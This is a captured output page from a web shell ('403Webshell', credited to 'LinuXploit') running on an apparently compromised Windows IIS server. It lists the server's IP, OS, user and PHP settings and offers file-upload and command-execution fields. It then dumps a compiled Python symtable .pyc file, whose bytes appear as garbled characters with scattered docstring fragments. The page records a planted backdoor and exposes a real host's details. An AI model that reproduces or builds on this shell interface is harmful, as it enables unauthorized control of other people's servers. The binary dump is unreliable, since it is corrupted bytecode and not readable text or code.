403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.217.141
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Python315/Lib/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /Python315/Lib/__pycache__/symtable.cpython-315.pyc
R
>lqj�;c�.�Qs]PHs]QHGsGsGsGsGsGsGsG	s	G
s
GsGsG
s
GsGsGsGsGsGsGs]PHTs]QHXGs,QNsQP-Q	ksQ
Q2s\2sQQ\2sQ
Q2sQsQQ\2sQQ\2s QQ2s!Q\1,s"\"OGQ\$2OK222Qs&\'\&Tt-tFDo\$2U*UaJ	to2s(Qs)\*Q6Xc ]PH�s+\)\+OXQ*2P!P!ttoh)z2Interface to the compiler's internal symbol tables)�USE�
DEF_GLOBAL�DEF_NONLOCAL�	DEF_LOCAL�	DEF_PARAM�DEF_TYPE_PARAM�DEF_FREE_CLASS�
DEF_IMPORT�	DEF_BOUND�	DEF_ANNOT�
DEF_COMP_ITER�
DEF_COMP_CELL�	SCOPE_OFF�
SCOPE_MASK�FREE�LOCAL�GLOBAL_IMPLICIT�GLOBAL_EXPLICIT�CELL)�StrEnum�SymbolTableType�SymbolTable�Class�Function�Symbol�modulec�J�[OVV#Q5o[VA2!)z�Return the toplevel *SymbolTable* for the source code.

*filename* is the name of the file with the code
and *compile_type* is the *compile()* mode argument.
)r)�	_symtable�symtable�_newSymbolTable)�code�filename�compile_typer�tops&&&$ �C:\Python315\\Lib\symtable.pyrrs!���
�
�T�\�
I�C��3�)�)�c�4`�\sQs]snQsQsQsQsUsP!)�SymbolTableFactoryc�<�[O2UmP!�N)�weakref�WeakValueDictionary�_SymbolTableFactory__memo��selfs&r#�__init__�SymbolTableFactory.__init__s���1�1�3��r$c���UO[O6Xc[V2!UO[O6Xc[V2![
V2!r()�typer�
TYPE_FUNCTIONr�
TYPE_CLASSrr)r-�tabler s&&&r#�new�SymbolTableFactory.new!sG���:�:��0�0�0��E�,�,��:�:��-�-�-���)�)��5�+�+r$c��V1oUOOUP2oUe UOV29p@OU$U!r()r+�getr5)r-r4r �key�objs&&&  r#�__call__�SymbolTableFactory.__call__(sA���o���k�k�o�o�c�4�(���;�%)�X�X�e�%>�>�C�+�+�c�"��
r$)�__memo)	�__name__�
__module__�__qualname__�__firstlineno__r.r5r;�__static_attributes__�__classdictcell__��
__classdict__s@r#r&r&s����4�,��r$r&c�4�\sQs]2sQsQsQsQsQsQs	Qs
QsP!)	rr�function�class�
annotationz
type aliasztype parametersz
type variable�)r>r?r@rA�MODULE�FUNCTION�CLASS�
ANNOTATION�
TYPE_ALIAS�TYPE_PARAMETERS�
TYPE_VARIABLErBrJr$r#rr2s%��
�F��H��E��J��J�'�O�#�Mr$c�v`�\sQs]<snQsQsQsQsQsQs	Qs
QsQ	sQ
s
QsQsQ
sQsQsUsP!)rc�.�VmV m-UmP!r()�_table�	_filename�_symbols)r-�	raw_tabler s&&&r#r.�SymbolTable.__init__>s����!����
r$c�<�UO[6XcPoLQUOO*oUOOQ6XcQOVO2!QOUUOOUO2!)�z%s r"z<{0}SymbolTable for module {1}>z<{0}SymbolTable for {1} in {2}>)�	__class__rr>rT�name�formatrU)r-�kinds& r#�__repr__�SymbolTable.__repr__Csy���>�>�[�(��D��4�>�>�2�2�2�D��;�;���u�$�4�;�;�D�.�.�Q�Q�4�;�;�D�<@�K�K�<L�<L�<@�N�N�L�
Lr$c�^�UOO[O6Xc[O
!UOO[O6Xc[O!UOO[O6Xc[O!UOO[O6Xc[O!UOO[O6Xc[O!UOO[O6Xc[O!UOO[O 6Xc[O"!PQUOO02g)zvReturn the type of the symbol table.

The value returned is one of the values in
the ``SymbolTableType`` enumeration.
zunexpected type: )rTr1r�TYPE_MODULErrKr2rLr3rM�TYPE_ANNOTATIONrN�TYPE_TYPE_ALIASrO�TYPE_TYPE_PARAMETERSrP�TYPE_TYPE_VARIABLErQr,s&r#�get_type�SymbolTable.get_typePs���;�;���y�4�4�4�"�)�)�)��;�;���y�6�6�6�"�+�+�+��;�;���y�3�3�3�"�(�(�(��;�;���y�8�8�8�"�-�-�-��;�;���y�8�8�8�"�-�-�-��;�;���y�=�=�=�"�2�2�2��;�;���y�;�;�;�"�0�0�0�<�)�$�+�+�*:�*:�);�<�<�ur$c�0�UOO!)z,Return an identifier for the table.
        )rT�idr,s&r#�get_id�SymbolTable.get_idfs���{�{�~�~�r$c�0�UOO!)z�Return the table's name.

This corresponds to the name of the class, function
or 'top' if the table is for a class, function or
global respectively.
)rTr\r,s&r#�get_name�SymbolTable.get_nameks���{�{���r$c�0�UOO!)z@Return the number of the first line in the
block for the table.
)rT�linenor,s&r#�
get_lineno�SymbolTable.get_linenots���{�{�!�!�!r$c�d�[UOO[O6H2!)z:Return *True* if the locals in the table
are optimizable.
)�boolrTr1rr2r,s&r#�is_optimized�SymbolTable.is_optimizedzs$���D�K�K�$�$�	�(?�(?�?�@�@r$c�B�[UOO2!)z9Return *True* if the block is a nested class
or function.)rurT�nestedr,s&r#�	is_nested�SymbolTable.is_nested�s���D�K�K�&�&�'�'r$c�B�[UOO2!)z:Return *True* if the block has nested namespaces.
        )rurT�childrenr,s&r#�has_children�SymbolTable.has_children�s���D�K�K�(�(�)�)r$c�L�UOOO2!)zKReturn a view object containing the names of symbols in the table.
        )rT�symbols�keysr,s&r#�get_identifiers�SymbolTable.get_identifiers�s���{�{�"�"�'�'�)�)r$c��UOOU2oUedUOOU*oUO	U2oUOO
Q6Ho[
VUUQ59p OU$U!)z<Lookup a *name* in the table.

Returns a *Symbol* instance.
r")�module_scope)rVr8rTr��_SymbolTable__check_childrenr\r)r-r\�sym�flags�
namespacesr�s&&    r#�lookup�SymbolTable.lookup�s{��
�m�m����%���;��K�K�'�'��-�E��.�.�t�4�J� �K�K�,�,��5�L�(.�t�J�<H�)J�
J�C�-�-��%��
r$c�l�UO2Tt,tFDpOU2MJ	to!ttoh)z<Return a list of *Symbol* instances for
names in the table.
)r�r�)r-�idents& r#�get_symbols�SymbolTable.get_symbols�s.��15�0D�0D�0F�G�0F�u���E�"�0F�G�G��Gs�1c��UOOTt,tFD+oUOU6XfJ[V O2MJ-	to!ttohr()rTr}r\rrU)r-r\�sts&& r#�__check_children�SymbolTable.__check_children�sG���+�+�.�.�$�.�B��7�7�d�?�4���N�N�3�.�$�	$��$s
�A�Ac��UOOTt,tFDo[VO2MJ	to!ttoh)z3Return a list of the nested symbol tables.
        )rTr}rrU)r-r�s& r#�get_children�SymbolTable.get_children�s<���+�+�.�.�0�.�B� ��N�N�3�.�0�	0��0s� <)rUrVrT)r>r?r@rAr.r_rgrkrnrrrvrzr~r�r�r�r�r�rBrCrDs@r#rr<sS�����
L�=�,�
 �"�A�(�
*�
*�
�H�$�
0�0r$c�4�U[*	[*!r()r
r)r�s&r#�
_get_scoper��s���Y��*�,�,r$c�d`�\sQs]�snPsPsPsPsPsPs	Qs
QsQsQs
QsQsQsQsUsP!)	rc�``�[9PIc&,UU1QkRO22DMJ	3!UU1QkRO222!)c3�:�SF �D3oRROOU*2%fJ.Uw�	J5	P!3hr()rTr�)�.0r�r-�	test_funcs& ��r#�	<genexpr>�-Function.__idents_matching.<locals>.<genexpr>�s/��(>���(>�u�!�$�+�+�"5�"5�e�"<�=��U�(>�s
�+A�A)�tupler�)r-r�sffr#�__idents_matching�Function.__idents_matching�sG����u�?��(<�(<�(>�?�u�u�	?�u�?��(<�(<�(>�?�?�	?r$c�f�UOeUOQ2UmUO!)z6Return a tuple of parameters to the function.
        c��U[*!r()r��xs&r#�<lambda>�)Function.get_parameters.<locals>.<lambda>�s��A�	�Mr$)�_Function__params�_Function__idents_matchingr,s&r#�get_parameters�Function.get_parameters�s+���=�=� � �2�2�3I�J�D�M��}�}�r$c�`�UOe)[[1nU1QkoUOU2UmUO!)z2Return a tuple of locals in the function.
        c�":�[U2R7!r(�r�)r��locss&�r#r��%Function.get_locals.<locals>.<lambda>�����Z��]�d�2r$)�_Function__localsrrr�)r-�testr�s& @r#�
get_locals�Function.get_locals�s9����=�=� ��4�=�D�2�D� �2�2�4�8�D�M��}�}�r$c�`�UOe)[[1nU1QkoUOU2UmUO!)z3Return a tuple of globals in the function.
        c�":�[U2R7!r(r�)r��globs&�r#r��&Function.get_globals.<locals>.<lambda>�r�r$)�_Function__globalsrrr�)r-r�r�s& @r#�get_globals�Function.get_globals�s:����>�>�!�#�_�5�D�2�D�!�3�3�D�9�D�N��~�~�r$c�f�UOeUOQ2UmUO!)z5Return a tuple of nonlocals in the function.
        c��U[*!r()rr�s&r#r��(Function.get_nonlocals.<locals>.<lambda>�s	��q�<�?Or$)�_Function__nonlocalsr�r,s&r#�
get_nonlocals�Function.get_nonlocals�s0�����#�#�5�5�6O�P�D�����r$c�j�UOeQoUOU2UmUO!)z:Return a tuple of free variables in the function.
        c�(�[U2[6H!r()r�rr�s&r#r��$Function.get_frees.<locals>.<lambda>��
��
�1�
�� 5r$)�_Function__freesr�)r-�is_frees& r#�	get_frees�Function.get_frees��/���<�<��5�G��1�1�'�:�D�L��|�|�r$c�j�UOeQoUOU2UmUO!)z:Return a tuple of cell variables in the function.
        c�(�[U2[6H!r()r�rr�s&r#r��$Function.get_cells.<locals>.<lambda>�r�r$)�_Function__cellsr�)r-�is_cells& r#�	get_cells�Function.get_cells�r�r$)�__cells�__frees�	__globals�__locals�__nonlocals�__params)r>r?r@rAr�r�r�r�r�r�r�r�r�r�r�r�r�rBrCrDs@r#rr�sM�����H��H��G��I��K��G�?���� ���r$c�,`�\sQs]�snPsQsQsUsP!)rc�`�]PHoROOQROO0oUO	UQ0[
]Q5ROe�-oU1QkoROOFD�oUUO2%fJUO9[O6Xc]V5O$JN[O6XfJdUOoUOFD=oUOU6XfJUO[O6XfJ7]V6$J�	J�	[U2RmRO!)z9Return a tuple of methods declared in the class.
        �.z@.get_methods() is deprecated and will be removed in Python 3.16.)�
stacklevelc�:�ROOOU]2oU[*	[*[
6H!��)rTr�r8r
rr)r�r�r-s& �r#�is_local_symbol�*Class.get_methods.<locals>.is_local_symbols4������+�+�/�/��q�9���)�+�z�9�e�C�Cr$)�warningsr[r?r>�warn�DeprecationWarning�_Class__methodsrTr}r\r1rr2rer�)r-r��typename�dr�r��
scope_name�csf       r#�get_methods�Class.get_methods�s���	��n�n�/�/�0��$�.�.�2I�2I�1J�K���
�
��
�#<�=�(�Q�	�	8��>�>�!��A�
D��k�k�*�*��"�2�7�7�+�+��'�'�4�Y�4�4�)*�A�g�g�J�&�;�;�;�*,���J�%'�[�[��#$�6�6�Z�#7�A�F�F�i�F]�F]�<]�45�A�M�$)�&1�+�#�1�X�D�N��~�~�r$)�	__methods)r>r?r@rAr�r�rBrCrDs@r#rr�s�����I��r$c�`�\sQsQsnQQP
-QkksQsQsQsQsQs	Q	s
Q
sQsQs
Q
sQsQsQsQsQsQsQsQsQsQsQsQsQsUsP!)r�r�c�n�VmV m[U2UmS9%fQUmV@mP!)NrJ)�
_Symbol__name�_Symbol__flagsr��_Symbol__scope�_Symbol__namespaces�_Symbol__module_scope)r-r\r�r�r�s&&&&$r#r.�Symbol.__init__s.������!�%�(���&�,�,�"���*�r$c��QOUO22oQUO8QUO2QUQ0!)�|z<symbol �: �, �>)�join�
_flags_strr��
_scope_str)r-�	flags_strs& r#r_�Symbol.__repr__!s>���H�H�T�_�_�.�/�	��$�+�+���4�?�?�+<�*=�R�	�{�!�L�Lr$c�|�[OUO29%f[UO2!r()�_scopes_value_to_namer8r��strr,s&r#r��Symbol._scope_str%s(��$�(�(����6�K�K�#�d�l�l�:K�Kr$c#�n �[FD$vqUOU*U6XfJUw�	J&	P!3hr()�_flagsr�)r-�flagname�	flagvalues&  r#r��Symbol._flags_str(s*���#)�6��H��|�|�i�'�9�4���$*�s�#5�5c��UO!)z#Return a name of a symbol.
        )r�r,s&r#rn�Symbol.get_name-s���{�{�r$c�D�[UO[*2!)z2Return *True* if the symbol is used in
its block.
)rur�rr,s&r#�
is_referenced�Symbol.is_referenced2s���D�L�L�3�&�'�'r$c�D�[UO[*2!)z4Return *True* if the symbol is a parameter.
        )rur�rr,s&r#�is_parameter�Symbol.is_parameter8����D�L�L�9�,�-�-r$c�D�[UO[*2!)z9Return *True* if the symbol is a type parameter.
        )rur�rr,s&r#�is_type_parameter�Symbol.is_type_parameter=����D�L�L�>�1�2�2r$c��[UO[[179%f,UO9%cUO
[*2!)z/Return *True* if the symbol is global.
        )rur�rrr�r�r	r,s&r#�	is_global�Symbol.is_globalBsI���D�L�L�_�o�$F�F�J�J��+�+�H�H����y�0H�K�	Kr$c�D�[UO[*2!)z(Return *True* if the symbol is nonlocal.)rur�rr,s&r#�is_nonlocal�Symbol.is_nonlocalHs���D�L�L�<�/�0�0r$c�<�[UO[6H2!)zGReturn *True* if the symbol is declared global
with a global statement.)rur�rr,s&r#�is_declared_global�Symbol.is_declared_globalLs���D�L�L�O�3�4�4r$c��[UO[[179%f,UO9%cUO
[*2!)z.Return *True* if the symbol is local.
        )rur�rrr�r�r	r,s&r#�is_local�Symbol.is_localQsH���D�L�L�U�D�M�1�J�J��+�+�H�H����y�0H�K�	Kr$c�D�[UO[*2!)z2Return *True* if the symbol is annotated.
        )rur�r
r,s&r#�is_annotated�Symbol.is_annotatedWrr$c�<�[UO[6H2!)z9Return *True* if a referenced symbol is
not assigned to.
)rur�rr,s&r#r��Symbol.is_free\s���D�L�L�D�(�)�)r$c�<�[UO[6H2!)z/Return *True* if the symbol is a cell variable.)rur�rr,s&r#r��Symbol.is_cellbs���D�L�L�D�(�)�)r$c�D�[UO[*2!)zPReturn *True* if a class-scoped symbol is free from
the perspective of a method.)rur�rr,s&r#�
is_free_class�Symbol.is_free_classfrr$c�D�[UO[*2!)zAReturn *True* if the symbol is created from
an import statement.
)rur�rr,s&r#�is_imported�Symbol.is_importedks���D�L�L�:�-�.�.r$c�D�[UO[*2!)z)Return *True* if a symbol is assigned to.)rur�rr,s&r#�is_assigned�Symbol.is_assignedqs���D�L�L�9�,�-�-r$c�D�[UO[*2!)zKReturn *True* if the symbol is a comprehension iteration variable.
        )rur�rr,s&r#�is_comp_iter�Symbol.is_comp_iteru����D�L�L�=�0�1�1r$c�D�[UO[*2!)zKReturn *True* if the symbol is a cell in an inlined comprehension.
        )rur�rr,s&r#�is_comp_cell�Symbol.is_comp_cellzr7r$c�.�[UO2!)aSReturns *True* if name binding introduces new namespace.

If the name is used as the target of a function or class
statement, this will be true.

Note that a single name can be bound to multiple objects.  If
is_namespace() is true, the name may also be bound to other
objects, like an int or list, that does not introduce a new
namespace.
)rur�r,s&r#�is_namespace�Symbol.is_namespaces���D�%�%�&�&r$c��UO!)z.Return a list of namespaces bound to this name)r�r,s&r#�get_namespaces�Symbol.get_namespaces�s��� � � r$c��[UO2]6Xc[Q2g[UO2]6�c[Q2gUO]*!)z�Return the single namespace bound to this name.

Raises ValueError if the name is bound to multiple namespaces
or no namespace.
z#name is not bound to any namespacesz$name is bound to multiple namespaces)�lenr��
ValueErrorr,s&r#�
get_namespace�Symbol.get_namespace�sS���t� � �!�Q�&��B�C�C�
��"�"�
#�a�
'��C�D�D��$�$�Q�'�'r$)�__flags�__module_scope�__name�__namespaces�__scoper()r>r?r@rAr.r_r�r�rnrrrrrrr"r%r�r�r,r/r2r5r9r<r?rDrBrCrDs@r#rrs�����+�U�+�M�L��
�
(�.�
3�
K�1�5�
K�.�
*�*�3�
/�.�2�
2�
'�!�(�(r$rc#�p�SF �D'p]*OQ2%fJ"Uw�	J)	P!3h)r��DEF_)�
startswith)r��kvs& r#r�r��s$��,���,�R�1��0@�0@��0H�b�b�,�s�6�6c	�>`�]PHoQU1QkknS9%fQ,FDioUQ6XcUOO2oQoL-[UQ29^tt^2oUO2oPPP2[	WUQ2oRU2Jk	P!)%fhK+9h)r�c�:�QU*oUO2%cQLPoUO2Q6XcQUO80oLUO28o[	UQUUO2QUQ02UO2FD�oUO
U2oQOUO22O2o[	QUUO2O2QUO28Q	U02J�	[	2UO2FDoR	V�]*2J	P!)
z    znested rz
from file zsymbol table for � �:r�z symbol r�)rzrgrUrn�printr�r�r�r��lowerr�r�)
r4�level�indentry�whatr��symbolr��table2�
print_symbolss
&&       �r#rZ�main.<locals>.print_symbols�s����%���#�o�o�/�/��R���>�>��x�'�����2�3�D��n�n�&�)�D�
���)�&��%�.�.�2B�1C�1�T�F�!�L�M��*�*�,�E��\�\�%�(�F��I�I�f�/�/�1�2�8�8�:�E��D����!2�!2�!4�!:�!:�!<� =�X�f�o�o�FW�EZ�Z\�]b�\c�d�e�-�	���(�(�*�F��&�!�)�,�+r$�-z<stdin>�rb�execr�)�sys�stdin�read�openr)�argsr_r �src�f�modrZs&     @r#�mainrg�s{����-�"�M�M�S�E�M���s�?��)�)�.�.�"�C� �H��h��%�%���f�f�h��&��s�H�f�-���c��"�
&�%�s�B	�B
�B
�__main__:�NN)rrrrrr)rrrrr)-�__doc__rrrrrrrrrr	r
rrr
rrrrrrr)�enumr�__all__rr&rrrr�rrrr�extend�globals�items�
_scopes_names�
frozendictrrgr>r_�argv)�ns0r#�<module>rts��8��	�	�	�	�	�	���
W��*�T�*���$%�&��$�g�$�p0�p0�f-�<�{�<�~#�K�#�LC(�C(�L�#�,����
�
�
I�7�9�?�?�,�
I�I�O�
�"�]�#K�]��G�I�a�L�!�O�]�#K�L���<�z�������"�����C$Ls�D

Youez - 2016 - github.com/yon3zu
LinuXploit